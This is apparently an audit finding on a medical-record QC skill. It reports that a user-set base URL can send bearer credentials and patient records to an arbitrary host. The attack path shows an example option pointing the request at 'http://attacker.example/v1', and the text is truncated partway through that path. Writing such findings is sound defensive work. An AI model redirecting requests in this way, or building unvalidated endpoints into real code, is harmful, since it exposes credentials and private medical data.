T09 · Insecure Skill Coding Practices
Error
- Location
scripts/emr_qc_impl.py:59- Finding
Configurable API Endpoint Can Exfiltrate Medical Data and Bearer Credentials
- Content
View full analysis
str: payload = {"model": model, "messages": messages, "temperature": 0} resp = _http_post(url, payload, headers, timeout=timeout) ``` The destination is exposed directly through command-line arguments: ```python parser.add_argument( "--base", default=DEFAULT_LLM_BASE, help=f"大模型 base URL（默认：{DEFAULT_LLM_BASE}）。", ) ``` This occurs in `scripts/emr_qc.py:25-28` and `scripts/run.py:51-54`. ### Technical Analysis The user-controlled `base` value is directly concatenated with `/chat/completions`. The resulting URL receives both: 1. The API credential in the `Authorization: Bearer` header. 2. Medical-record content in the request payload. The implementation does not enforce HTTPS, validate the destination hostname, restrict ports, reject loopback or private-network addresses, or ensure that the configured endpoint belongs to HiVoice. Redirect behavior is also not explicitly restricted. Consequently, a malicious command, wrapper, configuration, or copied invocation can direct the request to an attacker-controlled service. The same behavior may also be used to issue authenticated requests to local or internal HTTP services, although exploitation depends on the services available from the execution environment. ### Attack Path 1. An attacker convinces an operator or automation system to invoke the Skill with a malicious option such as `--base http://attacker.example/v1`. 2. The operator supplies a legitimate H ...[truncated 942 chars]- Remediation
View remediation